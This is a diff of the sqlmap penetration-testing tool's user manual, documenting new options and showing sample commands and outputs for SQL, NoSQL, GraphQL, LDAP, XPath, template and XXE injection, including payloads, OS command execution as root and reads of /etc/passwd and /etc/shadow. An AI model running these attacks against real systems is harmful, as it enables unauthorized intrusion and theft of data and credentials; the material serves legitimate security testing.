-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
--exclude=EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
@ -201,7 +221,7 @@ Options:
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One-click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
@ -224,6 +244,7 @@ Options:
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--abort-on-empty Abort data retrieval on empty results
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64P.. Parameter(s) containing Base64 encoded data
--base64-safe Use URL and filename safe Base64 alphabet (RFC 4648)
@ -235,7 +256,8 @@ Options:
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--dump-file=DUMP.. Store dumped data to a custom file
--dump-format=DU.. Dump data format (CSV (default), HTML, SQLITE, JSONL)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
@ -249,29 +271,50 @@ Options:
--preprocess=PRE.. Use given script(s) for preprocessing (request)
--postprocess=PO.. Use given script(s) for postprocessing (response)
--repair Redump entries having unknown character marker (?)
--report-json=RE.. Store run results to a JSON file
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp for filtering targets
--skip-heuristics Skip heuristic detection of SQLi/XSS vulnerabilities
--skip-heuristics Skip heuristic detection of vulnerabilities
--skip-waf Skip heuristic detection of WAF/IPS protection
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap")
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--time-limit=TIM.. Run with a time limit in seconds (e.g. 3600)
--unsafe-naming Disable escaping of DBMS identifiers (e.g. "user")
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")
Non-SQL injection:
These options can be used to test for non-SQL injection types
--graphql Test for GraphQL injection
--ldap Test for LDAP injection
--nosql Test for NoSQL injection
--xpath Test for XPath injection
--ssti Test for server-side template injection
--xxe Test for XML External Entity (XXE) injection
--hql Test for HQL/JPQL (Hibernate ORM) injection
--oob-server=OOB.. Out-of-band server for blind '--xxe'
--oob-token=OOBT.. Authentication token for a self-hosted '--oob-server'
Miscellaneous:
These options do not fit into any other category
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when SQLi/XSS/FI is found
--beep Beep on question and/or when vulnerability is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--disable-hashing Disable hash analysis on table dumps
--gui Graphical user interface (Tkinter)
--list-tampers Display list of available tamper scripts
--no-logging Disable logging to a file
--no-truncate Disable console output truncation (e.g. long entr...)
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--tui Textual user interface (ncurses)
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users
@ -349,6 +392,18 @@ Sample content of a bulk file provided as an argument to this option:
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
### Derive targets from an OpenAPI/Swagger definition
Options: `--openapi`, `--openapi-base` and `--openapi-tags`
Instead of enlisting URLs by hand, sqlmap can build the target list straight from an [OpenAPI/Swagger](https://www.openapis.org/) definition (v2 or v3, JSON or YAML) with `--openapi`, given either a local file or a URL. For each operation in the spec sqlmap synthesizes a concrete request - path, method, path/query parameters and, where applicable, a JSON body - and then tests those requests exactly as if they had been provided directly:
```
$ python sqlmap.py --openapi swagger.json --batch
```
When the specification does not carry a server URL (a host-less spec), provide it with `--openapi-base` (e.g. `--openapi-base "http://192.168.30.7/api"`). To narrow the scope to a subset of the API, `--openapi-tags` restricts target derivation to operations carrying the given tag(s), for instance `--openapi-tags "users,auth"`.
### Load HTTP request from a file
Option: `-r`
@ -381,7 +436,7 @@ Option: `-g`
It is also possible to test and inject on GET parameters based on results of your Google dork.
This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and inject on each possible affected URL.
With this option sqlmap retrieves Google's first 100 results for the Google dork expression, and for each returned URL that carries GET parameters asks you whether you want to test and inject on it.
For example:
@ -465,13 +520,13 @@ Note that also the HTTP `Cookie` header is tested against SQL injection if the `
Option and switch: `--user-agent` and `--random-agent`
By default sqlmap performs HTTP requests with the following `User-Agent` header value:
By default sqlmap performs HTTP requests with a `User-Agent` header value of the form:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
sqlmap/1.x.x.x#dev (https://sqlmap.org)
However, it is possible to fake it with the option `--user-agent` by providing custom User-Agent as the option's argument.
Moreover, by providing the switch `--random-agent`, sqlmap will randomly select a `User-Agent` from the `./txt/user-agents.txt` textual file and use it for all HTTP requests within the session.
Moreover, by providing the switch `--random-agent`, sqlmap will randomly select a `User-Agent` from the `./data/txt/user-agents.txt` textual file and use it for all HTTP requests within the session.
Some sites perform a server-side check of HTTP `User-Agent` header value and fail the HTTP response if a valid `User-Agent` is not provided, its value is not expected or is blacklisted by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:
@ -730,11 +785,11 @@ Switch: `--skip-urlencode`
Depending on parameter placement (e.g. GET) its value could be URL encoded by default. In some cases, back-end web servers do not follow RFC standards and require values to be send in their raw non-encoded form. Use `--skip-urlencode` in those kind of cases.
# Bypass anti-CSRF protection
### Bypass anti-CSRF protection
Options: `--csrf-token` and `--csrf-url`
Options: `--csrf-token`, `--csrf-url` and `--csrf-retries`
Lots of sites incorporate anti-CSRF protection in form of tokens, hidden field values that are randomly set during each page response. sqlmap will automatically try to recognize and bypass that kind of protection, but there are options `--csrf-token` and `--csrf-url` that can be used to further fine tune it. Option `--csrf-token` can be used to set the name of the hidden value that contains the randomized token. This is useful in cases when web sites use non-standard names for such fields. Option `--csrf-url` can be used for retrieval of the token value from arbitrary URL address. This is useful if the vulnerable target URL doesn't contain the necessary token value in the first place, but it is required to extract it from some other location.
Lots of sites incorporate anti-CSRF protection in form of tokens, hidden field values that are randomly set during each page response. sqlmap will automatically try to recognize and bypass that kind of protection, but there are options `--csrf-token` and `--csrf-url` that can be used to further fine tune it. Option `--csrf-token` can be used to set the name of the hidden value that contains the randomized token. This is useful in cases when web sites use non-standard names for such fields. Option `--csrf-url` can be used for retrieval of the token value from arbitrary URL address. This is useful if the vulnerable target URL doesn't contain the necessary token value in the first place, but it is required to extract it from some other location. When token retrieval is itself flaky, `--csrf-retries` sets how many times sqlmap will retry fetching a fresh token (default `0`).
### Force usage of SSL/HTTPS
@ -748,11 +803,12 @@ Option: `--eval`
In case that user wants to change (or add new) parameter values, most probably because of some known dependency, he can provide to sqlmap a custom python code with option `--eval` that will be evaluated just before each request.
For example:
Because `--eval` executes arbitrary Python, it is guarded against accidental (or config-file-smuggled) code execution: sqlmap will refuse to run unless the environment variable `SQLMAP_UNSAFE_EVAL=1` is explicitly set. For example:
```
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
$ SQLMAP_UNSAFE_EVAL=1 python sqlmap.py -u "http://www.target.com/vuln.php?id=1&\
hash=c4ca4238a0b9238120dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(\
id.encode()).hexdigest()"
```
Each request of such run will re-evaluate value of GET parameter `hash` to contain a fresh MD5 hash digest for current value of parameter `id`.
@ -767,28 +823,20 @@ Switch: `-o`
This switch is an alias that implicitly sets the following options and switches:
* `--keep-alive`
* `--null-connection`
* `--threads=3` if not set to a higher value.
(Persistent HTTP connections are already used by default, so `-o` no longer needs to enable them. Note that `--null-connection` is skipped automatically when it would be incompatible with the current run, e.g. with `--data`, `--text-only`, `--titles`, `--string`, `--not-string`, `--regexp` or `--tor`.)
Read below for details about each switch.
### Output prediction
Switch: `--predict-output`
This switch is used in inference algorithm for sequential statistical prediction of characters of value being retrieved. Statistical table with the most promising character values is being built based on items given in `txt/common-outputs.txt` combined with the knowledge of current enumeration used. In case that the value can be found among the common output values, as the process progresses, subsequent character tables are being narrowed more and more. If used in combination with retrieval of common DBMS entities, as with system table names and privileges, speed up is significant. Of course, you can edit the common outputs file according to your needs if, for instance, you notice common patterns in database table names or similar.
Note that this switch is not compatible with `--threads` switch.
### HTTP Keep-Alive
Switch: `--keep-alive`
Switch: `--no-keep-alive`
This switch instructs sqlmap to use persistent HTTP(s) connections.
Persistent (Keep-Alive) HTTP(s) connections are **used by default**, since reusing a connection across requests is a substantial speed-up for the many small requests that blind techniques generate. Use `--no-keep-alive` to opt out and close the connection after each request.
Note that this switch is incompatible with `--proxy` switch.
Keep-Alive is compatible with an HTTP(s) proxy (`--proxy`); sqlmap pools the tunneled socket per origin. It is, however, disabled automatically when it cannot work reliably, for instance with HTTP authentication or with `--chunked` transfer-encoding.
### HTTP NULL connection
@ -807,19 +855,17 @@ Option: `--threads`
It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do.
This feature relies on [multi-threading](http://en.wikipedia.org/wiki/Multithreading) concept and inherits both its pro and its cons.
This features applies to the brute-force switches and when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output in a single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query output. The thread ends when that character is retrieved - it takes up to 7 HTTP(S) requests with the bisection algorithm implemented in sqlmap.
This features applies to the brute-force switches and when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output in a single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query output. The thread ends when that character is retrieved - with the bisection algorithm this typically takes about seven HTTP(S) requests for an ASCII character (fewer for common characters when Huffman coding kicks in during dumping, and more for multi-byte/Unicode characters).
The maximum number of concurrent requests is set to **10** for performance and site reliability reasons.
Note that this option is not compatible with switch `--predict-output`.
## Injection
These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts.
### Testable parameter(s)
Options: `-p`, `--skip` and `--param-exclude`
Options: `-p`, `--skip`, `--param-exclude`, `--param-filter` and `--skip-static`
By default sqlmap tests all GET parameters and POST parameters. When the value of `--level` is >= **2** it tests also HTTP `Cookie` header values. When this value is >= **3** it tests also HTTP `User-Agent` and HTTP `Referer` header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on value of `--level` too.
@ -833,6 +879,10 @@ There is also a possibility to exclude certain parameters from testing based on
For instance, to skip testing for parameters which contain string `token` or `session` in their names, provide `--param-exclude="token|session"`.
Conversely, `--param-filter` restricts testing to parameters found in a given location, by place name (e.g. `--param-filter="POST"` to test only POST parameters, ignoring GET/Cookie/headers).
Finally, `--skip-static` tells sqlmap to skip parameters that do not appear to be dynamic (i.e. whose value has no observable effect on the response), which can save a lot of requests on forms full of inert fields.
#### URI injection point
There are special cases when injection point is within the URI itself. sqlmap does not perform any automatic test against URI paths, unless manually pointed to. You have to specify these injection points in the command line by appending an asterisk (`*`) (Note: Havij style `%INJECT HERE%` is also supported) after each URI point that you want sqlmap to test for and exploit a SQL injection.
@ -872,32 +922,51 @@ By default sqlmap automatically detects the web application's back-end database
* Sybase
* SAP MaxDB
* Informix
* MariaDB
* Percona
* MemSQL
* TiDB
* CockroachDB
* HSQLDB
* H2
* MonetDB
* Apache Derby
* Amazon Redshift
* Vertica
* Mckoi
* Presto
* Altibase
* MimerSQL
* ClickHouse
* CrateDB
* Cubrid
* InterSystems Cache
* eXtremeDB
* FrontBase
* Raima Database Manager
* Virtuoso
* Snowflake
* Spanner
* SAP HANA
In addition, sqlmap recognizes and fingerprints the following forks, each of which is handled as its parent system for enumeration and exploitation:
* MariaDB
* Percona
* MemSQL
* TiDB
* Doris
* StarRocks
* CockroachDB
* Amazon Redshift
* Greenplum
* Drizzle
* Apache Ignite
* Cubrid
* InterSystems Cache
* Aurora
* EnterpriseDB
* Yellowbrick
* IRIS
* eXtremeDB
* FrontBase
* YugabyteDB
* OpenGauss
* DM8
* Trino
* DuckDB
If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identified or if you want to avoid an active fingerprint, you can provide the name of the back-end DBMS yourself (e.g. `postgresql`). For MySQL and Microsoft SQL Server provide them respectively in the form `MySQL <version>` and `Microsoft SQL Server <version> `, where ` <version>` is a valid version for the DBMS; for instance `5.0` for MySQL and `2005` for Microsoft SQL Server.
If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identified or if you want to avoid an active fingerprint, you can provide the name of the back-end DBMS yourself (e.g. `postgresql`). A version can be appended after the name for any of the supported systems (`<name> <version>`); it is most useful for MySQL and Microsoft SQL Server, e.g. `MySQL 5.0` and `Microsoft SQL Server 2005`.
In case you provide `--fingerprint` together with `--dbms`, sqlmap will only perform the extensive fingerprint for the specified database management system only, read below for further details.
@ -1036,6 +1105,18 @@ rmation_schema.tables/**/group/**/bY/**/x)a)
[...]
```
### DBMS-agnostic enumeration
Switch: `--esperanto`
Ordinarily sqlmap enumerates by dispatching DBMS-specific SQL from `queries.xml` once the back-end DBMS has been fingerprinted. `--esperanto` switches to a **DBMS-agnostic** enumeration engine that discovers the dialect and extracts data through the confirmed injection oracle alone, without relying on a prior positive fingerprint or on hand-written per-DBMS queries. It is useful against uncommon or hard-to-fingerprint back-ends, and against boolean/blind oracles where only a yes/no channel is available.
### Prove exploitation of the detected injection point(s)
Switch: `--proof`
When `--proof` is given, sqlmap does not stop at reporting that a parameter is injectable: for each confirmed injection point it performs an extra, self-contained demonstration that the injection is genuinely exploitable (e.g. reading back a value through the very technique that was detected) and prints that evidence. This is helpful for reporting and for weeding out borderline detections, since a point that cannot be proven exploitable is flagged as such.
## Detection
These options can be used to customize the detection phase.
@ -1077,6 +1158,10 @@ In cases when user knows that the distinction of a `True` query from a `False` o
In cases with lot of active content (e.g. scripts, embeds, etc.) in the HTTP responses' body, you can filter pages (switch `--text-only`) just for their textual content. This way, in a good number of cases, you can automatically tune the detection engine.
Switch: `--lengths`
In cases where a `True` and a `False` response differ only in their raw size (e.g. a body whose content is highly dynamic but whose *length* is stable per branch), the switch `--lengths` tells sqlmap to base the `True`/`False` distinction purely on the response content **length** rather than on its content. This is a coarser but sometimes more robust oracle for pages that resist the default content-based comparison.
## Techniques
These options can be used to tweak testing of specific SQL injection techniques.
@ -1104,17 +1189,222 @@ Note that the string must include stacked queries technique letter, `S`, when yo
### Non-SQL injection techniques
Options: `--nosql`, `--graphql`, `--ldap`, `--xpath` and `--ssti`
Options: `--nosql`, `--graphql`, `--ldap`, `--xpath`, `--ssti`, `--xxe` and `--hql`
Besides classic SQL injection, sqlmap can also detect and exploit several other server-side injection types, each enabled by its own switch:
Besides classic SQL injection, sqlmap can also detect and exploit several other server-side injection classes, each enabled by its own dedicated switch:
* `--nosql`: NoSQL injection
* `--graphql`: GraphQL injection
* `--nosql`: NoSQL injection (MongoDB/CouchDB operator injection, Elasticsearch/Solr `query_string`, Neo4j Cypher, ArangoDB AQL, Couchbase N1QL, DynamoDB PartiQL, MongoDB `$where`)
* `--graphql`: injection reached *through* a GraphQL endpoint (GraphQL is the transport; the underlying flaw is reported as SQL or NoSQL injection in the resolver)
* `--ldap`: LDAP injection
* `--xpath`: XPath injection
* `--ssti`: server-side template injection
* `--ssti`: server-side template injection (Jinja2, Twig, Mako, Freemarker, Velocity, Thymeleaf, SpringEL, ERB, Pug, Handlebars, Struts2/OGNL)
* `--xxe`: XML External Entity (XXE) injection
* `--hql`: HQL/JPQL (Hibernate ORM) injection
Each of these techniques is self-contained: it confirms the injection and extracts what that particular vector can reach, so the SQL enumeration options (e.g. `--banner`, `--dbs`, `--tables` and `--dump`) do not apply and are ignored. For server-side template injection, where the engine allows it, `--os-cmd` and `--os-shell` run operating system commands through the template engine. As with SQL injection, these techniques honor `--level` (for instance, `Cookie` parameters are only tested from `--level 2`).
Only one of these switches may be used per run. Each technique is **self-contained**: it confirms the injection and automatically extracts (or exploits) whatever that particular vector can reach, so the SQL enumeration options (e.g. `--banner`, `--dbs`, `--tables`, `--dump`) do not map onto these back-ends and are ignored. Being auxiliary/independent switches, they auto-exploit as far as the vector safely allows - dumping the reachable collection/document/directory, walking the XML tree, reading files, or (for SSTI, where the engine permits it) advising and running OS commands. As with SQL injection, they honor `--level` (for instance, `Cookie` parameters are only tested from `--level 2`).
Blind extraction across these engines is careful about *unknown* observations: a transport failure, a WAF/rate-limit page, a back-end error or an ambiguous oracle reading is treated as **inconclusive** (retried, then the affected value/row is aborted or marked partial) rather than being silently coerced into a wrong bit - so recovered data is either trustworthy or visibly flagged as partial.
#### NoSQL injection (`--nosql`)
Example against a MongoDB-backed search endpoint:
```
$ python sqlmap.py -u "http://192.168.30.7/mongo/search?name=luther" -p name --nosql --batch
[...]
[xx:xx:03] [INFO] testing NoSQL injection on GET parameter 'name'
[xx:xx:03] [INFO] GET parameter 'name' is vulnerable to NoSQL injection (back-end: 'MongoDB')
---
Parameter: name (GET)
Type: NoSQL injection
Title: MongoDB operator injection
Payload: name[$ne]=oadhlxtukv
---
[xx:xx:03] [INFO] GET parameter 'name' can be coerced always-true with 'name[$ne]=oadhlxtukv' (e.g. authentication/filter bypass)
[xx:xx:03] [INFO] the always-true payload returns additional records (in-band data exposure)
NoSQL: GET parameter 'name' in-band records [5]:
+----------+------------------------------------+-------------------+
| column_1 | column_2 | column_3 |
+----------+------------------------------------+-------------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | sqlmap/1.0-dev (http://sqlmap.org) | user agent header |
| 5 | null | nameisnull |
+----------+------------------------------------+-------------------+
[xx:xx:03] [INFO] NoSQL scan complete
```
#### GraphQL injection (`--graphql`)
Point sqlmap at the GraphQL endpoint itself; it introspects the schema, enumerates injectable argument slots and confirms an oracle. GraphQL is treated as a *transport* - the finding is reported as SQL (or NoSQL) injection reached via GraphQL, and once an oracle is retained the back-end is enumerated as usual:
```
$ python sqlmap.py -u "http://192.168.30.7/graphql" --graphql --batch
[...]
[xx:xx:16] [INFO] Query.user(username:) is vulnerable to SQL injection via GraphQL (boolean-based)
---
Parameter: Query.user(username:) (string)
Type: SQL injection
Title: SQL injection via GraphQL (boolean-based)
Transport: GraphQL
Payload: {user:user(username:\"' OR '1'='1\") { id name surname }}
---
[xx:xx:20] [INFO] back-end DBMS: 'SQLite'
GraphQL back-end DBMS: SQLite
[xx:xx:20] [INFO] using aliased query batching to accelerate blind extraction
[xx:xx:20] [INFO] banner: '3.49.2'
[xx:xx:21] [INFO] fetching tables
GraphQL database tables [2]:
+-------+
| table |
+-------+
| creds |
| users |
+-------+
[...]
GraphQL dump of table 'users' [5]:
+----+--------+------------+
| id | name | surname |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
| 5 | anon | anonimov |
+----+--------+------------+
[xx:xx:28] [INFO] GraphQL scan complete
```
Mutation slots are considered automatically only when no query slot yields an oracle, and only a *read-like* mutation (e.g. `login`, `verify`, `token`) is driven for bulk enumeration - a write-like mutation is reported but not repeatedly executed.
#### LDAP injection (`--ldap`)
Example against an OpenLDAP-backed search (output trimmed):
```
$ python sqlmap.py -u "http://192.168.30.7/ldap/search?q=x" --ldap --batch
[...]
[xx:xx:40] [INFO] GET parameter 'q' is vulnerable to LDAP injection (back-end: 'OpenLDAP')
---
Parameter: q (GET)
Type: LDAP injection
Title: LDAP in-band data exposure
Payload: q=x*)(objectClass=*
---
[xx:xx:44] [INFO] in-band data exposure: 20 record(s)
LDAP: GET parameter 'q' in-band entries:
+---------+-------------------------------------------+-------------------+----------------------+----------+--------------+
| dc | dn | cn | mail | uid | userPassword |
+---------+-------------------------------------------+-------------------+----------------------+----------+--------------+
| example | dc=example,dc=com | | | | |
| | uid=luther,ou=users,dc=example,dc=com | Luther Blisset | luther@example.com | luther | s3cr3t |
| | uid=fluffy,ou=users,dc=example,dc=com | Fluffy Bunny | fluffy@example.com | fluffy | carrot |
| | uid=ada,ou=users,dc=example,dc=com | Ada Lovelace | ada@example.com | ada | lovelace |
| [...] | | | | | |
+---------+-------------------------------------------+-------------------+----------------------+----------+--------------+
[xx:xx:44] [INFO] LDAP scan complete
```
When the point exposes only a boolean oracle rather than in-band data, sqlmap blind-enumerates the directory entry-by-entry and attribute-by-attribute; an inconclusive next-entry probe marks the dump partial instead of silently ending it.
#### XPath injection (`--xpath`)
sqlmap confirms the injection and then blindly walks the whole XML document tree, recovering element names, attributes and text (output trimmed - a full walk of a large document takes a while):
```
$ python sqlmap.py -u "http://192.168.30.7/xpath/search?q=x" --xpath --batch
[...]
[xx:xx:54] [INFO] GET parameter 'q' is vulnerable to XPath injection (back-end: 'lxml / libxml2')
---
Parameter: q (GET)
Type: XPath injection
Title: XPath boolean-based blind
Payload: q=x') or true() or ('
---
[xx:xx:54] [INFO] walking XML document tree (depth limit: 32)
[xx:xx:57] [INFO] discovered element: 'directory'
[xx:xx:01] [INFO] discovered element: 'department'
[xx:xx:08] [INFO] attribute: @name='IT Operations'
[xx:xx:09] [INFO] discovered element: 'user'
[xx:xx:12] [INFO] attribute: @id='1'
[xx:xx:16] [INFO] attribute: @active='true'
[xx:xx:19] [INFO] discovered element: 'username'
[...]
[xx:xx:41] [INFO] discovered element: 'password'
[...]
[xx:xx:47] [INFO] XPath scan complete
```
#### Server-side template injection (`--ssti`)
sqlmap fingerprints the template engine (via a randomized-arithmetic proof and a boolean oracle) and, once confirmed, automatically checks whether OS command execution is reachable and advises the takeover switches:
```
$ python sqlmap.py -u "http://192.168.30.7/search?q=x" --ssti --batch
[...]
[xx:xx:19] [INFO] GET parameter 'q' is vulnerable to SSTI (back-end: 'Jinja2')
---
Parameter: q (GET)
Type: SSTI
Title: SSTI Jinja2 injection
Payload: q=x{{ 7*7 }}
---
[xx:xx:19] [INFO] in-band arithmetic proof confirmed (control-pair)
[xx:xx:19] [INFO] boolean oracle confirmed
[xx:xx:19] [INFO] back-end template engine: 'Jinja2'
[xx:xx:19] [INFO] the back-end 'Jinja2' allows OS command execution via GET parameter 'q'; you are advised to try '--os-shell' (interactive) or '--os-cmd=<command>' (single command)
[xx:xx:19] [INFO] SSTI scan complete
```
Command execution then works through the same switches used for SQL takeover, `--os-cmd` (single command) and `--os-shell` (interactive). The command output is recovered through reflection-proof output framing (or a file-based channel on hardened Java engines), on both Unix and Windows back-ends:
```
$ python sqlmap.py -u "http://192.168.30.7/search?q=x" --ssti --os-cmd="id" --batch
[...]
[xx:xx:24] [INFO] GET parameter 'q' is vulnerable to SSTI (back-end: 'Jinja2')
[...]
os-shell (id) [cycler.__globals__]:
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
[xx:xx:25] [INFO] SSTI scan complete
```
The Content-Type header vector for Apache Struts2 (CVE-2017-5638, S2-045) is probed automatically as part of `--ssti` and, when present, likewise leads to OS command execution.
#### XML External Entity injection (`--xxe`)
`--xxe` targets an XML request body (supply it via `--data` or a request file loaded with `-r`). Once an external-entity read primitive is confirmed, sqlmap auto-harvests a curated set of high-value host files (a targeted read is possible with `--file-read <path>`):
```
$ python sqlmap.py -u "http://192.168.30.7/xxe/" --data="<user><name>luther</name></user>" --xxe --batch
[...]
[xx:xx:34] [INFO] in-band XXE file-read impact confirmed; harvested 11 file(s)
---
Parameter: (custom) BODY
Type: XXE injection
Title: In-band file read (auto-harvest, e.g. '/etc/passwd')
Payload: <!DOCTYPE user [<!ENTITY ... SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>...
---
[xx:xx:34] [INFO] read remote file '/etc/passwd' (749 bytes)
[xx:xx:34] [INFO] read remote file '/etc/shadow' (290 bytes)
[xx:xx:34] [INFO] read remote file '/proc/self/environ' (837 bytes)
[xx:xx:34] [INFO] read remote file '/app/router.php' (3332 bytes)
[...]
[xx:xx:34] [INFO] XXE scan complete
```
For a truly blind target (no in-band reflection and no error leakage), an out-of-band channel can be used by pointing sqlmap at a collector with `--oob-server` (and `--oob-token` when it is a self-hosted, authenticated one); this is opt-in, since it involves a third-party/hosted service.
#### HQL/JPQL injection (`--hql`)
`--hql` detects Hibernate ORM (HQL/JPQL) injection. Because HQL compiles down to SQL, a bare boolean break-out is indistinguishable from ordinary SQL injection, so sqlmap confirms HQL only on positive ORM evidence - either a reflected Hibernate parser diagnostic or an ORM-only construct (e.g. Hibernate's `str()` function) that plain SQL rejects - and then blindly enumerates the mapped entities, their attributes and rows. If no ORM evidence is found it says so and advises re-running without `--hql` to test for classic SQL injection instead.
### Seconds to delay the DBMS response for time-based blind SQL injection
@ -1122,6 +1412,18 @@ Option: `--time-sec`
It is possible to set the seconds to delay the response when testing for time-based blind SQL injection, by providing the `--time-sec` option followed by an integer. By default it's value is set to **5 seconds**.
### HTTP/2 timeless timing
Switch: `--timeless`
Classic time-based blind SQL injection reads a *true/false* bit from the absolute wall-clock delay of a single response, which forces an artificial `SLEEP()`-style delay (`--time-sec`) large enough to stand out above network jitter - making it both slow and noisy.
`--timeless` implements the **timeless timing** attack described by Van Goethem *et al.* in [Timeless Timing Attacks: Exploiting Concurrency to Leak Secrets over Remote Connections](https://www.usenix.org/conference/usenixsecurity20/presentation/van-goethem) (USENIX Security 2020). Instead of measuring absolute time, sqlmap coalesces **two** requests into a single TCP packet and multiplexes them over one HTTP/2 connection. Because both requests share the packet and the network path, jitter affects them equally and cancels out; the only thing left that decides which response completes first is the **server-side** processing-time difference between the two. That makes a sub-millisecond difference - such as the natural gap between a *true* and a *false* boolean branch - readable where absolute timing, drowned in jitter, cannot resolve it. Crucially, this often needs **no** injected `SLEEP` at all: the natural execution-time asymmetry between the branches is enough.
The oracle is only valid when the target actually processes the two multiplexed streams **concurrently** (a serializing front-proxy would make response order track arrival order, not work), so sqlmap first calibrates with a known-asymmetric pair; if the target does not qualify (or does not speak HTTP/2), it transparently falls back to classic time-based blind. When a target is seen to speak HTTP/2 during a normal run, sqlmap emits a one-time hint suggesting `--timeless`.
Because it avoids the multi-second `SLEEP` per bit, `--timeless` is substantially **faster and stealthier** than classic time-based blind on a qualifying HTTP/2 target.
### Number of columns in UNION query SQL injection
Option: `--union-cols`
@ -1277,7 +1579,7 @@ database management system users password hashes:
Not only sqlmap enumerated the DBMS users and their passwords, but it also recognized the hash format to be PostgreSQL, asked the user whether or not to test the hashes against a dictionary file and identified the clear-text password for the `postgres` user, which is usually a DBA along the other user, `testuser`, password.
This feature has been implemented for all DBMS where it is possible to enumerate users' password hashes, including Oracle and Microsoft SQL Server pre and post 2005.
This feature has been implemented for all DBMS where it is possible to enumerate users' password hashes, including Oracle and Microsoft SQL Server pre and post 2005. The hash recognizer is not limited to native DBMS hashes: it also identifies (and can attempt to crack) a broad set of modern DBMS and application/framework formats, among them MySQL 8 `caching_sha2_password`, PostgreSQL SCRAM-SHA-256, Oracle 11g/12c, `sha256crypt`/`sha512crypt`, bcrypt (including WordPress `$wp$`), Argon2 (with the optional dependency), Django, Werkzeug, ASP.NET, phpass, Joomla, vBulletin and the generic MD5/SHA family (raw and base64/`{SSHA...}` variants).
You can also provide the option `-U` to specify the specific user who you want to enumerate and eventually crack the password hash(es). If you provide `CU` as username it will consider it as an alias for current user and will retrieve the password hash(es) for this user.
@ -1360,8 +1662,8 @@ User can retrieve a DBMS schema by using this switch. Schema listing will contai
Example against a MySQL target:
```
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" \
--schema --batch --exclude-sysdbs
[...]
Database: owasp10
@ -1503,6 +1805,24 @@ Switch `--search` needs to be used in conjunction with one of the following supp
* `-T` following a list of comma-separated table names to look for across the whole database management system.
* `-D` following a list of comma-separated database names to look for across the database management system.
### Retrieve stored procedures and functions
Switch: `--procs`
Alongside tables and columns, sqlmap can enumerate the **stored procedures and functions** defined in the database with `--procs`, retrieving their names and, where the back-end DBMS exposes it, their source definition. This complements schema enumeration when the interesting logic (and sometimes credentials or dynamic SQL) lives in routines rather than in table data.
### Retrieve DBMS comments
Switch: `--comments`
When this switch is provided, sqlmap looks for and retrieves database, table and column **comments/remarks** (metadata that some DBMSes let schema authors attach to objects) during enumeration. Such comments occasionally document what a column holds or leak other useful hints.
### Retrieve running SQL statements
Switch: `--statements`
This switch retrieves the SQL statements currently being **run on the DBMS** (where the back-end exposes such a view, e.g. via a process/activity list). It offers a live window into what other sessions are executing on the server.
### Run custom SQL statement
Option and switch: `--sql-query` and `--sql-shell`
@ -1635,7 +1955,7 @@ This feature is available only when the database management system is MySQL or P
Option: `--file-read`
